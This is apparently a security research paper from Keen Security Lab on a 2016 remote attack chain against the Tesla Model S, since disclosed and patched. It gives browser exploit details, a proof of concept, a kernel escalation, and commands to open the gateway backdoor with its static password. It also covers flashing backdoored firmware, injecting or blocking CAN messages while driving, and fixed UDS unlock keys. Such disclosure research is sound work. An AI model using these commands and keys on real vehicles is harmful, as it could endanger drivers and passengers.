# FREE-FALL: HACKING TESLA FROM WIRELESS TO CAN BUS

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### ABSTRACT

In today's world of connected cars, security is of vital importance. The security of these cars is not only a technological issue, but also an issue of human safety. In our research, we focused on perhaps the most famous connected car model: Tesla.

In September 2016, our team (Keen Security Lab of Tencent) successfully implemented a remote attack on the Tesla Model S in both Parking and Driving mode.<sup>[1-3]</sup> This remote attack utilized a complex chain of vulnerabilities. We have proved that we can gain entrance from wireless (Wi-Fi/Cellular), compromise many in-vehicle systems like IC, CID, and Gateway, and then inject malicious CAN messages into the CAN Bus. Just 10 days after we submitted our research to Tesla, Tesla responded with an update using their OTA mechanism and introduced the code signing protection into Tesla cars.

Our paper will be in three parts: our research, Tesla's response, and the follow-up. We will, for the first time, share the details of the whole attack chain on the Tesla, and then reveal the implementation of Tesla's OTA and Code Signing features. Furthermore, we'll explore the new mitigation on Tesla and share our thoughts on them.

# TARGET VERSION

We have successfully tested our vulnerabilities on Tesla Model S P85 and P75, the latest version at that time was as follows.

Model S	Version (Build Number)	gw:/firmware.rc
P85	v7.1(2.28.60)	fileCrc 502224ba
P75	v7.1(2.32.23)	fileCrc e3deeaab

Table 1 Tested version

### **REMOTE ATTACK SURFACE**

The truth is that we found our browser exploit first, then we think a contactless approach should be achieved.

A Wi-Fi SSID, Tesla Service, is embedded in every tesla car as we know it, and the password is a plaintext which saved in QtCarNetManager. However, we find that it cannot be auto connected in normal mode.

At that time, Tesla Guest came into our sight, this is a Wi-Fi hotspot provided by Tesla body shop and superchargers.<sup>[4]</sup> The information of this SSID is saved in many customers' cars in order to auto connecting in the future. If we fake this Wi-Fi hotspot and redirect the traffic of QtCarBrowser to our own domain, remotely hacking Tesla cars can be feasible.

Besides Wi-Fi tricks, when in cellular mode we believe that phishing and user mistyping can also lead to remotely triggering our browser vulnerabilities if we build enough crafted domains.

Because it's based on a browser-borne attack, we can say that remotely deliver the exploit without physical access is only restricted by imagination.

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# **BROWSER HACKING**

Since the User Agent of Tesla web browser is "Mozilla/5.0 (X11; Linux) AppleWebKit/534.34 (KHTML, like Gecko) QtCarBrowser Safari/534.34", it can be deduced that the version of QtWebkit is around 2.2.x. In such old version, there are many vulnerabilities in QtWebkit. Our exploit utilizes two vulnerabilities to achieve arbitrary code execution.

The first vulnerability exists in function JSArray::sort(). This function will be called when the method function sort() of an array be called in JavaScript code. The function JASrray::sort() mainly do three things:

- 1. Copy elements from array this->m\_storage.m\_vector into an AVLTree structure.
- 2. Call the compareFunction function specified by the caller.
- 3. Copy the sorted elements from AVLTree back into this->m\_storage.m\_vector.

```
void JSArray::sort(ExecState* exec, JSValue compareFunction,
CallType callType, const CallData& callData)
{
    checkConsistency();
    ArrayStorage* storage = m_storage;
    // ....
    // Copy the values back into m storage.
    AVLTree<AVLTreeAbstractorForArrayCompare, 44>::Iterator
iter;
    iter.start iter least(tree);
    JSGlobalData& globalData = exec->globalData();
    for (unsigned i = 0; i < numDefined; ++i) {</pre>
        storage->m vector[i].set(globalData, this,
tree.abstractor().m nodes[*iter].value);
        ++iter;
    }
    . . . . . .
}
```

#### Table 2 Code Snippet of the Vulnerable Function

The vulnerability is that if compareFunction is JSArray::shiftCount(), the length of the m\_vector will be changed, also the entire m\_vector structure will be shifted to another place. However, the local variable pointer storage still points to the old location, result in memory corruption.

When a non-shifted array called sort() to trigger this issue, the variable map reference by the local pointer storage always overlaps with the variable m\_length of the new storage structure, result in crash. We solved this problem by sort() a pre-shifted array and set compareFunction to JSArray::unshiftCount(), so variable map can be overlapped with a JSValue structure in m\_vector. The JSValue structure has two members, payload and tag. Precisely, map is overlapping with the field payload. If we set the overlapped element to an integer zero, tag will be 0xffffffff which means the type of this JSValue is int32, the payload will be 0, that is map will be 0.

```
void JSArray::sort(ExecState* exec, JSValue compareFunction,
CallType callType, const CallData& callData)
{
    checkConsistency();
    ArrayStorage* storage = m_storage;
    .....
    if (SparseArrayValueMap* map = storage->m_sparseValueMap) {
        newUsedVectorLength += map->size();//crash here
    .....
    }
}
```

#### Table 3 Crash Point in JSArray::sort()

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In the function JSArray::sort(). The local pointer storage used in two places after compareFunction be called. In the second place, new length will be write back into original storage structure. Since m\_numValuesInVector can be overlapped with the tag of JSValue structure, we can change tag to make a type confusion. When changed the tag from CellTag to a value of length, we changed the type to double. As a result, we can get a JSCell address from this double value.

```
void JSArray::sort(ExecState* exec, JSValue compareFunction,
CallType callType, const CallData& callData)
{
    .....
    storage->m_numValuesInVector = newUsedVectorLength;
    .....
}
```

#### Table 4 Code About Leaking JSCell Address

In the first place, local pointer storage is used for copying sorted elements back into original storage structure. After some unshift() in compareFunction, we have the chance to overwrite the m\_allocBase of the storage structure. In function JSArray::unshiftCount(), when the whole pre-malloced buffer cannot hold all the elements, JSArray::unshiftCount() will call increaseVectorPrefixLength() to fastMalloc() a bigger buffer and free the old one. Since we corrupt the value of m\_allocBase, we could fastFree() arbitrary address.

The second vulnerability is CVE-2011-3928 founded by KeenTeam, which could be used for leaking memory. The POC is simple.

```
<script>if (window.addEventListener) {
   window.addEventListener('load', func, false);
}
function func()
{
   e = document.getElementById('t1');
   document.importNode(e,true);
}
</script>

            <table id="t1"</table
            <ta
```

#### Table 5 POC of CVE-2011-3928

If the parameter of function importNode() is a node created as "xht:input", a type confusion bug will be triggered when the function copyNonAttributeProperties() doing static\_cast. The size of source type Element is 0x34 and the size of destination type HTMLInputElement is 0x7c.

```
void HTMLInputElement::copyNonAttributeProperties(const Element*
source)
{
    const HTMLInputElement* sourceElement = static_cast<const
HTMLInputElement*>(source);
    m_data.setValue(sourceElement->m_data.value());
    setChecked(sourceElement->m_isChecked);
    m_reflectsCheckedAttribute = sourceElement-
>m_reflectsCheckedAttribute;
    m_isIndeterminate = sourceElement->m_isIndeterminate;
HTMLFormControlElementWithState::copyNonAttributeProperties(source);
}
```

#### Table 6 Vulnerability in CVE-2011-3928

We try to allocate many Element structures together on heap. After static\_cast, the member m\_data of HTMLInputElement will overlap with the pointer m\_next of Element. Also, we inserted the second





and the third Element structure into same label together as children,  $m_next$  and  $m_data$  both point to the third Element structure.

Since m\_data points to a StringImpl structure and this StringImpl structure is overlapped with an Element structure. The member m\_data of StringImpl structure always be a fixed value 1 and m\_length of StringImpl structure always be a pointer which is big enough for us to read the whole memory.

Finally, we can chain these together to achieve arbitrary code execution:

- Leak a JSCell address of a Uint32Array structure by utilizing the vulnerability in JSArray::sort().
- 2. Get the address of the class structure of this Uint32Array by utilizing CVE-2011-3928.
- 3. FastFree() this address by utilizing the vulnerability in JSArray::sort().
- 4. Define a new Uint32Array to achieve arbitrary address write.
- 5. Insert a JavaScript function into an array.
- 6. Leak the JSCell address of this JavaScript function.
- 7. Get the address of the JIT memory from JSCell address and JSC::ExecutableBase structure.
- 8. Write shellcode to JIT memory and execute this JavaScript function.

We must say it is difficult to develop a feasible and stable exploit without any debugging method and without QtCarBrowser binary from Tesla CID. However, it was deserved as the final exploit gave us the first shell from Tesla CID and the shell is very stable.

### LOCAL PRIVILEGE ESCALATION

Though we got a remote shell based on our browser hacking, it's also impossible to get arbitrary permission because of AppArmor. We need another vulnerability to escape from AppArmor and get a higher privilege than browser's process context.

It seems that the Linux kernel version of CID is very old, there is nearly no exploiting mitigations on Linux kernel 2.6.36.

-pdk25.023-Tesla-20140430 #see\_/etc/commit SMP GNU/Linus

#### Figure 1 CID Linux Kernel Version

We also find some BSPs of Tegra on https://developer.nvidia.com/linux-tegra-archives. After some research, we were shocked that the (in)famous ARM Linux vulnerability CVE-2013-6282(Missing access checks in put user/get user kernel API) is still exists on Tesla.





```
diff --git a/arch/arm/lib/putuser.S b/arch/arm/lib/putuser.S
index 7db2599..3d73dcb 100644
--- a/arch/arm/lib/putuser.S
+++ b/arch/arm/lib/putuser.S
@@ -16.6 +16.7 @@
* __put_user_X
*
                                r0 contains the address r1 contains the address limit, which must be preserved r2, r3 contains the value r0 is the error code
    * Inputs:
    * Outputs:
                                 lr corrupted
@@ -27,16 +28,19 @@
* Note also that it is intended that __put_user_bad is not global.
*/
*/
#include <linux/linkage.h>
+#include <asm/assembler.h>
#include <asm/errno.h>
#include <asm/errno.h>
  ENTRY(__put_user_1)
  + check_uaccess r0, 1, r1, ip, __put_user_bad
1: TUSER(strb) r2, [r0]
mov r0, #0
mov c 1r
  mov pc, lr
ENDPROC(__put_user_1)
 ENTRY(__put_user_2)
+ check_uaccess r0, 2, r1, ip, __put_user_bad
mov ip, r2, lsr #8
  # CHECK_UALCESS F0, 2, F1, F1, F, _____
mov ip, r2, lsr #8
#ifdef CONFIG_THUMB2_KERNEL
#ifndef __ARMEB_____
20 -60,12 +64,14 @@ ENTRY(__put_user_2)
ENDPROC(__put_user_2)
  ENTRY(__put_user_4)

← check_uaccess r0, 4, r1, ip, __put_user_bad

4: TUSER(str) r2, [r0]

mov r0, #0

rev r0, P
  mov pc, lr
ENDPROC(__put_user_4)
  ENTRY(__put_user_8)
  + check_uaccess r0, 8, r1, ip, __put_user_bad
#ifdef CONFIG_THUMB2_KERNEL
5: TUSER(etc)
  5: TUSER(str) r2, [r0]
6: TUSER(str) r3, [r0, #4]
```

#### Figure 2 Patch of CVE-2013-6282 from linux.org

Based on the CVE-2013-6282, we can get the arbitrary read/write in kernel context, it is pretty easy to write an exploit. In our exploit, firstly we patched setresuid() syscall to get the root privilege, and then we invoked reset\_security\_ops() to disable AppArmor. It's obviously that we're now in god mode.

#### UNAUTHORIZED ACCESS OF THE EMBEDDED SYSTEMS

We have known that there are three more important individual embedded systems on Tesla besides CID, they are IC, Parrot and Gateway. Getting root access on these three systems via remote attack sounds pretty attractive to us. Several defects on network design and lack of strong cipher protection contribute possibilities of these targets.



**Figure 3 Important Devices of In-vehicle Network** 





### IC

After we got root privilege in CID, it is amazing that researchers could ssh into IC as root without any password. We have certitude that the SSH key of root user has been stored in ".ssh" folder, so that it's easy to use following command:

ssh root@ic

to get root access on IC.

Additionally, gaining mutual access between CID and IC is also possible. Upon past researches, we have known that CID contains a key rotation scheme that receives a random new token of user teslal from the mothership every 24 hours. However, CID would set the key in IC's file system in plaintext, which means even if we could only get access to IC, we are also able to ssh to CID and get root privilege.

However, after received our report, Tesla fixed this issue, now it's forbidden to access CID from IC.

### Parrot

Through scanning the opening ports on Parrot, we found port 23 is opened for Telnet as usual. A fatal vulnerability is that the Telnet is anonymous, which contributes access of Parrot. An easy command

```
nc parrot 23
```

makes parrot under researchers' control.

### Gateway

Gateway looks like much safer than IC and Parrot, which leaves two main challenges for researchers.

Finding out the shell entry is the first step, while the binary file gw-diag provides several clues. gw-diag file is designed for diagnosing Gateway and offers a special approach to call some functions on Gateway through port 3500. Reversing this binary file helps us find out a function named ENABLE\_SHELL, lighting the possibility of gaining shell. After many-times trials, command

```
printf "\x12\x01" | socat - udp:gw:3500
```

would wake up Gateway's backdoor on port 23. Thus, we found the shell entry of Gateway.

The second step is pointing out the security token of the backdoor. Developers specially leave the token check for Gateway, leading more challengeable to attack than Parrot. Nonetheless, this security token is static and written in the firmware of Gateway. Researchers could easily reverse the firmware to gain the token:

Senu(VS, ( , 2),
V6 = limited_recv(V5, (unsignedint8 ^)V41, UX4Fu, U);
if ( v6 >= 0 )
{
if ( (unsignedint8)v41[0] == 255 )
{
<pre>send(v5, &amp;shell_reply_data1, 13);</pre>
if ( limited_recv(v5, (unsignedint8 *)v41, 0x4Fu, 1) < 0 )
goto LABEL_6;
v6 = send(v5, &shell_reply_data2, 3);
}
if ( (*(_DWORD *)v41 ^ '1q\0\0') == '3e' &&
(*(_DWORD *)&v41[4] ^ '5t\0\0') == '7u' )
send(v5, "\n", 1):
for $(i = v5^{\circ} \cdot shell \log info(i))$
for (1 vs, , shell_logino(1))
send(i, "gw> ", 4);
v14 = limited recv(i, v42, 0x4Fu, 1):

Figure 4 Console Password Verification of the Gateway





From the above screenshot of function shellTask() in IDA, we could find the static token of Gateway Telnet is 1q3e5t7u, an easily-remember regular string on keyboard. Until now, we could get full access to the Gateway.

<b>\$</b> nc gw 23 ? 1q3e5t7u	
gw> help	
help	help
?	help
exit	exit
ls	list directory contents [dir]
rm	remove files or dirs <name> [name]</name>
mv	rename files or dirs <from> <to></to></from>
cat	display file contents <file></file>
ср	copy file <from> <to></to></from>
mkdir	create dir <dir></dir>
exInfo	dump information for the last exception
ex	force exception [wdldt]h]

Figure 5 Enter the Gateway Shell with the Password

# ECU PROGRAMMING ON TESLA

By disassemble the CID unit, we found the gateway ECU (GTW) is also in the box. Further analysis found a SD Card without any protection is directly connected to the GTW. By examining the FAT FS on this card, we found several debug and upgrade-related files:

😣 🖨 🗊 🛛 nf	orest@nforest	: ~/workspace	/tesla/gateway	
<pre>gateway booted.img config itc</pre>	ls hwidacq.log hwids.acq hwids.txt	<b>log</b> modhwid.log modinfo.log	orig_int.dat release.tgz udsdebug.log	update.log
→ gateway				

Figure 6 Files on the SD Card

After a fast review of those log files, we noticed udsdebug.log. We believe this file described a detailed process of the whole upgrade process, including sending hex files to ECUs, configuring the relay switch, and some other important procedures. Using this file, we can get a better overview of the upgrade software.

Using some strings from the log file and after a simple search, we believe the file booted.img is the actual file used for software programming. This file, originally named boot.img and then renamed to prevent boot into the file again, will be loaded to  $0 \times 40000000$  of GTW's RAM and executed.

A quick examine of the file showed the file is in this format:

#define	BIGENDIAN		
typedef	struct {		
byte	jump_command[4];	//	48000020 means jmp \$+20
uint32	crc32_value;	//	fill in FFh, calculate,
	—	//	then write back
int32	image_size;	//	filesize
int32	neg image size;	11	-filesize
int32	<pre>memoinfo length;</pre>	11	length of memoinfo
byte	memoinfo[memoinfo	leng	jth];
byte	<pre>image_content[0];</pre>		
} tBtImg			

Table 7 The Format of boot.img

Since the CRC32 is not very hard to make a collision, we can just use the memoinfo area to make a fake boot.img with our customized code. Recalculate the value is also a good idea if you want.

Before a further analysis of this file, we also focused on the compressed file release.tgz, which contains the ECU software bundle and append a checksum value at the end of file. Files in the compressed file is named in the ECU name, as the picture below shows:

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😣 🖻 🗊 nforest	@nforest: ~/works	pace/tesla/ga	iteway/relea	se
→ release tar x	f/release.tgz			
gzip: stdin: dec	compression OK, tr	ailing garba	ige ignored	
tar: Child retur	ned status 2			
tar: Error is no	t recoverable: ex	iting now		
release 1s				
bdy.hex	chgsph2cpld.hex	dhfd.hex	gtw.hex	pdm.hex
bmscpld.hex	chgsph2.hex	dhfp.hex	hndfd.hex	pm.hex
bms.hex	chgsph3cpld.hex	dhrd.hex	hndfp.hex	ptc.hex
chgph1cp1d.hex	chgsph3.hex	dhrp.hex	hndrd.hex	rccm.hex
chgph1.hex	chgsvicpld.hex	difpga.hex	hndrp.hex	sec.hex
chgph2cpld.hex	chgsvi.hex	di.hex	ic.hex	sun.hex
chgph2.hex	chgvicpld.hex	dsp.hex	lft.hex	thc.hex
chgph3cpld.hex	chgvi.hex	eas.hex	log.cfg	tpms_hard_cal.hex
chgph3.hex	cp.hex	epb.hex	manifest	tunercal.hex
chgsphlcpld.hex	dcdc.hex	epbm.hex	msm.hex	tunerdsp.hex
chgsph1.hex	ddm.hex	esp.hex	park.hex	tuner.hex
- release				

#### Figure 7 Files in the release.tgz

One file, gtw.hex, is the software running on the gateway itself which will be flashed according to its address configure, and we also disassembled this file to check more internal things. The UDP port 3500 we previous mentioned is actually a diagnostic port used for diagnostic and maintenance purposes. Usually, it will receive a UDP packet like this:

```
#define BIGENDIAN
typedef struct {
   byte msgid;
   byte msg_content[0];
} tDbgMsg;
```

#### Table 8 The Format of a Debug Message

All those packets are first handled by a dispatcher, which will find the handler according to tDbgMsg.msgid and then call the handler with tDbgMsg.msg\_content. The handler is usually a interface function, and will do type conventions for msg\_content then call the real function.

Among all these functions, we found a special one with id  $0 \times 08$ . This function will check if the file named by msg\_content on the SD Card is having a correct format and can pass checksum check. If all checks passed, it will rename the file to boot.img, and then restart itself. After next restart, it seems the file boot.img is loaded and run. So, we guess the bootloader of the gateway will check if boot.img exists on the SD Card, and load it if necessary<sup>1</sup>.

There are also some other files in the SD Card and the compressed file, such as log.cfg which might save configurations of the log utilities, and all those \*.upd files, which are uploaded by the CID, will give the update software an indication to show which mode should it be run.

Now it is time to see the update software itself. The whole update is controlled by function at 0x40006AE4. It will first check some files such as hwidacq.upd and service.upd to set up its working mode. Several security checks are proceeded to make sure the entire car would keep physically safe during the update procedure. Updater will then try to:

- 1. Decompress release.tgz and make sure the checksum value meets a DWORD at the end of the archive file. We have discussed this checksum value before.
- 2. Check if the file manifest exists in the compressed file. Read it to get the version info in this firmware bundle, and save them for further use. This file also contains a checksum value for itself.
- 3. Process each ".hex" file in a certain procedure. This job will read files according an array of structure at 0x4006321C which contains:
  - A string pointer, pointed at the filename

<sup>&</sup>lt;sup>1</sup> A dump of bootloader has confirmed our guess. To our surprise, the bootloader will also check if the image is valid.



- A function pointer, which will process and flash the program. Most of them is 0x40029B1C, which we named pektronUpdate
- Configurations, for example if the BMS should be opened

Though there are some differences between different files, they are mainly following this procedure:

- a) Convert hex file into binary stream;
- b) For certain files, check if the file meets requirements;
- c) Do some preparation jobs including turn off dangers relays, turn off battery, etc.
- d) Send the firmware using UDS protocol. Under most situations, the updater is only responsible to download the target hex to the chip. It will not care if the hex file is corrupted or not. The bootloader on target's chip is required to write the hex file into flash, and check if the application is valid every time it boots up.
- e) Check if the firmware is send to target ECU, and being programmed completely.
- 4. After all those files being processed, make a log, then restart

Besides, flashing the gateway is even more easier, since the program is running on the same target chip, updater just needs to unlock the flash block, writes new data and re-lock it according to the manual of the chip.

So here are our ways to flash customized firmware to gateway:

- 1. Modify firmware into our customized version. To prove we can do it, we've changed the CRC value of ic.hex to 0xDEADBEEF, and also modified gtw.hex to open a backdoor, so we can send any frame on the CAN bus even when the car is running (will be discussed later).
- 2. Recalculate the CRC value, or use some methods to generate collisions, which might be a wise choice to prevent some hidden security checks.
- 3. Change manifest's content and the CRC value. However, you can just make some modifications to boot.img in order to skip some verification progress.
- 4. Pack those files into release.tgz and append corresponding CRC32 value.
- 5. transfer booted.img, release.tgz, service.upd into gateway.
- 6. printf "\x08booted.img" | socat -udp:gw:3500

By using those techniques to skip the update verification progress and programming our customized code into ECUs, we can now run our code permanently on the ECU if we want. Some other potential problems are still investigate including the possibility of flashing the bootloader, modify the car's configuration and other software related jobs.

### GATEWAY REVERSE ENGINEERING AND HACKING

We can find some vulnerabilities in many important tasks running on the gateway which can almost do any kinds of communication to ECUs on the CAN bus. They will be listed as follows:

1. By the design that Gateway treats the UDP broadcast on 20100 and 20101 ports as a kind of CAN message and transports them to the real CAN bus, we can easily fake some UDP signals to do some motions like lock or unlock by sending a UDP. For example, we send a UDP as follow to open the trunk:

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2. We can send any CAN message to any CAN bus channel in the car, thanks to the Gateway leaving an obvious way in diagtask which can be used to inject CAN bus (diagnosis function 0x04) by sending UDP messages to 3500 port on the Gateway. But it is a little difficult to inject the can when the car has already been ignited or when there is no guy in the car. After we found that diagnostic function 0x01 can always work, we just patch two bytes to replace the function 0x01 by function 0x04. And then we can send a CAN message using the following command. The CAN message will be sent to PT-CAN bus with the id of 0x45 to turn on the light whenever the car is running or stop.

```
printf "\x01\x05\x00\x6D\x40\xD0\xXX\xXX" | socat - udp:gw:3500
                                                                                                                                                                                                                                                           8
           IDA View-A
                                  FLASH:00046F30 93
FLASH:00046F34 93
FLASH:00046F38 9B
FLASH:00046F3C 48
                                                                         E1 00
E1 00
A1 00
09 37
                                                                                                                                                           r31, 0x200+saved_toc(r1)
r31, 0x200+var_1E8(r1)
r29, 0x200+compiler_rese
                                                                                                                                    stw
stw
stb
                                                                                         14
18
0D
79
                                                                                                                                                                                                                                                           Â
                                                                                                                                                                                                               served+1(r1)
                                                                                                                                                          r25, 04200400001101_TesetVed11(11)
sub_DA6B4
r9, REBOOT@ha
r0, r9, REBOOT@1
r3, (dword_4003133C - 0x40031330)(r30)
r9, APP_VERSION@ha
                                                                                                                                    bl
                                  FLASH:00046F40
                                                                   ЗD
                                                                          20 00
                                                                                        04
                                                                                                                                    lis
                                  FLASH:00046F44 38 09 6C
                                                                                        84
                                                                                                                                    addi
                                  FLASH:00046F48 80
                                                                   80 7E 00
3D 20 00
                                                                                                                                    lwz
                                                                                                                                    lis
                                  FLASH: 00046F4C
                                                                                         04

        PLASH:00046F4C
        3D
        2O
        00

        FLASH:00046F50
        90
        01
        00

        FLASH:00046F54
        3B
        09
        55

        FLASH:00046F55
        3D
        2O
        00

        FLASH:00046F56
        3D
        2O
        01
        00

        FLASH:00046F56
        3D
        2O
        01
        00

        FLASH:00046F56
        3B
        09
        6C

                                                                                                                                                            r0, 0x200+var_1A4(r1)
                                                                                                                                                           r0, r9, INJECT CAN@1
r9, MONITOR CAN@ha
r0, 0x200+var_1A0(r1)
                                                                                                                                    <mark>addi</mark>
lis
                                                                                         60
                                                                                                                                    stw
                                                                                                                                     addi
                                                                                                                                                           r0, r9, MONITOR_CAN@1
r9, INJECT_CAN@ha
                                  FLASH:00046F64 3D 20 00
                                                                                                                                    lis
                                  FLASH:00046F68
                                                                   90 01
                                                                                 00
                                                                                        68
                                                                                                                                     stw
                                                                                                                                                           r0, 0x200+var 198(r1)
                                  FLASH:00046F70
FLASH:00046F70
FLASH:00046F74
FLASH:00046F78
                                                                                                                                    lis
stw
addi
lis
                                                                                                                                                           r9, BL_VERSION@ha
r0, 0x200+var_194(r1)
r0, r9, BL_VERSION@1
r9, REBOOT_FOR_UPDATE
                                                                   3D 20 00
90 01 00
38 09 5C
3D 20 00
                                  FLASH:00046F7C
                                                                                         04
                                                                                                                                                                                                      TE@ha
                                  FLASH:00046F80
                                                                    90 01 00
                                                                                         70
                                                                                                                                    stw
                                                                                                                                                           r0, 0x200+var_190(r1)
r0, r9, REBOOT_FOR_UPDATE@1
                                  FLASH:00046F84 38 09 69 50
                                                                                                                                    addi
                                  UNKNOWN 00046F6C: diagTask+9C (Synchronized with Hex View-1)
```



3. Some essential CAN messages (like vehicle speed), which is sent by Gateway from other CAN channels, notice the ECUs to do something when the car is running. So, we have no chance to do something (like open the trunk) when the car is in high speed even we directly send the can message. But when Gateway receives some important messages both from CAN bus or 20100 port on UDP, it will pass it to another CAN bus or UDP according to a list of structures in Gateway firmware. So we can block some important messages (like the ID of 0x218 on BDY CAN) by changing the target ID in firmware after we locating the structure stored in the firmware to open the trunk or disable the auto lock function when car is in very high speed. And it is quite dangerous to block some ESP messages from CH to PT CAN bus.

A View-A	83
FLASH:000BC898 02 18 word BC898: .short 0x218 # DATA XREF: FLASH:00114DD410	-
FLASH:000BC898	
FLASH:000BC89A FF FF	
FLASH:000BC89C 00 00 00 0A .long 0xA	
FLASH:000BC8A0 00 00 00 64 .long 0x64	
FLASH:000BC8A4 00 00 00 00 .long 0	
FLASH:000BC8A8 00 00 00 00 .long 0	
FLASH:000BC8AC 00 00 00 00 .long 0	
FLASH:000BC8B0         00         04         12         04         .long         0x41E20,         0x400646C0,         0x578FFFF,         0x7530,         0x493E0,         0,         0,	
PLASH:000BC8D0 00 04 0A 44+ .long 0x40A44, 0x400646C8, 0x248FFFF, 0xA, 0x64, 0, 0, 0, 0	
FLASH:000BC8F4 40 .byte 0x40 # 0	
FLASH:000BC8F5 06 46 D0 .byte 6, 0x46, 0xD0	
FLASH:000BC8F8 02 58 FF FF+dword_BC8F8: .long 0x258FFFF, 0x32, 0x1F4, 0, 0, 0, 0	
FLASH:000BC8F8 00 00 00 32+ # DATA XREF: FLASH:00114E1Cto	
FLASH:000BC8F8 00 00 01 F4+ # RAM:40054308to	
FLASH:000BC914 40 .byte 0x40 # 0	
FLASH:000BC915 03 30 40 .byte 3, 0x30, 0x40	
UNKNOWN OUDBCEAC: FLASH: OUDBCEAC	-

Figure 9 The Structure Used to Forward CAN Messages

As a conclusion, we can inject any CAN messages at any time, and use an artful patch to block some essential CAN signals which could cause some dangerous situations, especially when the car is running.

You can also find other information about the Gateway reverse engineering in our ZeroNights'16 talk.<sup>[5]</sup>

### WEAKNESS IN UDS/CAN BUS

Unified Diagnostic Services (UDS) is codified in ISO-14229 and allows diagnostics to control functions on an in-vehicle Electronic Control Unit (ECU). Typical functions include reading stored data (such as trouble codes), reading live data (such as engine or vehicle speed), invoking specific built-in routines in the firmware, unlocking ECU and doing some privileged operations like reprogramming firmware of ECUs, and etc.

# Fixed seed and key for unlocking ECUs

Instrument Cluster(IC) has its own electronic controller unit connect to CAN-CH Bus for communication With Other ECUs. The DSP in IC receives CAN messages from CAN-CH Bus and transforms CAN messages into readable information on IC display for driver, including speed, rpm, etc.

When we flashed the firmware of IC ECU, we connected a CAN Bus transceiver to CAN-CH Bus and captured CAN messages. We found there were many UDS data frames used for resetting ECU, unlocking ECU and transferring data in CAN messages. And the most important point is we got CAN identifiers for sending UDS request and receiving UDS response.

Each UDS data frame is transmitted on CAN Bus as part of CAN data and has 8 bytes padded with zeros on the left. During analysis of these UDS data, we found that some UDS data frames used to unlock ECU, also known as Security Access function, have some interesting response data. When firmware updater requested IC DSP to send Security Access seed, ECU responded some regular data as a random seed: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F. Also, the following UDS data frames contained security key: 35 34 37 36 31 30 33 32 3d 3c 3f 3e 39 38 3b 3a, which was computed by firmware updater with seed according to some encryption algorithms.

				Security Access Service ID				Security Access Leve							
18546	RECV	768.5391	0x0000065C	DATA	Frame	8	10	16	62	F1	80/	01	49	43	
18547	SEND	768.5394	0x0000064C	DATA	Frame	8	30	00	0A	00	00	00	00	00	
18548	RECV	768.5488	0x0000065C	DATA	Frame	8	21	2D	52	32	100	00	00	00	
18549	RECV	768.5588	0x0000065C	DATA	Frame	8	22	00	8D	8/3	AA	A1	7D	1F	
18550	RECV	768.5688	0x0000065C	DATA	Frame	8	23	00	2A	60	00	00	00	00	
18551	SEND	768.5699	0x0000064C	DATA	Frame	8	02	27	05	00	00	00	00	00	
18552	RECV	768.5702	0x0000065C	DATA	Frame	8	10	12	67	05	00	01	02	03	
18553	SEND	768.5705	0x0000064C	DATA	Frame	8	30	00	0A	00	00	00	00	00	
18556	RECV	768.5808	0x0000065C	DATA	Frame	8	21	04	05	06	07	08	09	0A	
18557	RECV	768.5908	0x0000065C	DATA	Frame	8	22	0B	0C	0D	0E	OF	00	00	
18558	SEND	768.5910	0x0000064C	DATA	Frame	8	10	12	27	06	35	34	37	36	
18559	RECV	768.5914	0x0000065C	DATA	Frame	8	30	00	00	00	00	00	00	00	
18560	SEND	768.5916	0x0000064C	DATA	Frame	8	21	31	30	33	32	3D	3C	3F	
18561	SEND	768.5918	0x0000064C	DATA	Frame	8	22	3E	39	38	3B	3A	00	00	
18562	RECV	768.5922	0x0000065C	DATA	Frame	8	02	67	06	00	00	00	00	00	
18563	SEND	768.5926	0x0000064C	DATA	Frame	8	04	2E	01	02	00	00	00	00	
18564	RECV	768.5930	0x0000065C	DATA	Frame	8	03	6E	01	02	00	00	00	00	
18565	SEND	768 5935	0x00000640	DATA	Frame	8	04	31	01	FF	00	00	00	00	

Figure 10 Frames Sniffed During the Upgrade Progress

We assumed that firmware of IC ECU produces a fixed seed for UDS Security Access Service which can result in a fixed security key used to unlock IC ECU. So, we did some tests with sending several random seed requests to UDS Security Access function on different security levels, it was indeed that IC ECU always returned a fixed 16-bytes seed 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F. After receiving fixed seed, we directly sent the fixed security key 35 34 37 36 31 30 33 32 3d 3c 3f 3e 39 38 3b 3a to UDS Security Access function and successfully got positive responses for unlocking ECU. Now we could do many privileged operations on IC ECU through UDS functions, such as writing memory by address, reading memory by address and etc.

Data flow on different security levels is shown below.

1) Security Access Level 1

3 4 5 6 7	SEND RECV SEND RECV RECV	17:54:36.771 17:54:36.781 17:54:36.981 17:54:36.981 17:54:36.981	0x0000064c 0x0000065c 0x0000064c 0x0000065c 0x0000065c	DATA Frame DATA Frame DATA Frame DATA Frame DATA Frame	0x08 0x08 0x08 0x08 0x08	02 27 10 12 30 00 21 04 22 0b	7 01 2 67 0 00 4 05 0 0c	00 01 00 06 0d	00 00 00 07 0e	00 01 00 08 0f	00 02 00 09 00	00 03 00 0a 00
Figure 11 Send Request for Level 1												
8	SEND	17:54:38.181	0x0000064c	DATA Frame	0x08	10 12	2 27	02	35	34	37	36
9	RECV	17:54:38.181	0x0000065c	DATA Frame	0x08	30 00	00 0	00	00	00	00	00
10	SEND	17:54:38.291	0x0000064c	DATA Frame	0x08	21 3	1 30	33	32	3d	3c	3f
11	SEND	17:54:38.391	0x0000064c	DATA Frame	0x08	22 30	e 39	38	3b	3a	00	00
12	RECV	17:54:38.391	0x0000065c	DATA Frame	0x08	02 6	7 02	00	00	00	00	00

Figure 12 Sand	Lovol 1	Kow and	Catal	Docitivo	Dechance
rigure 12 Senu	Leveri	Kev anu	Geral	r usitive	Response

2) Security Access Level 3







15	SEND	17:54:47.612	0x0000064c	DATA Frame	0x08	02	27	03	00	00	00	00	00
16	RECV	17:54:47.612	0x0000065c	DATA Frame	0x08	10	12	67	03	00	01	02	03
17	SEND	17:54:47.832	0x0000064c	DATA Frame	0x08	30	00	00	00	00	00	00	00
18	RECV	17:54:47.832	0x0000065c	DATA Frame	0x08	21	04	05	06	07	80	09	0a
19	RECV	17:54:47.832	0x0000065c	DATA Frame	0x08	22	0b	0c	0d	0e	0f	00	00

#### Figure 13 Send Request for Level 3

20	SEND	17:54:48.632	0x0000064c	DATA Frame	0x08	10	12	27	04	35	34	37	36
21	RECV	17:54:48.632	0x0000065c	DATA Frame	0x08	30	00	00	00	00	00	00	00
22	SEND	17:54:48.732	0x0000064c	DATA Frame	0x08	21	31	30	33	32	3d	3c	3f
23	SEND	17:54:48.822	0x0000064c	DATA Frame	80x0	22	3e	39	38	3b	3a	00	00
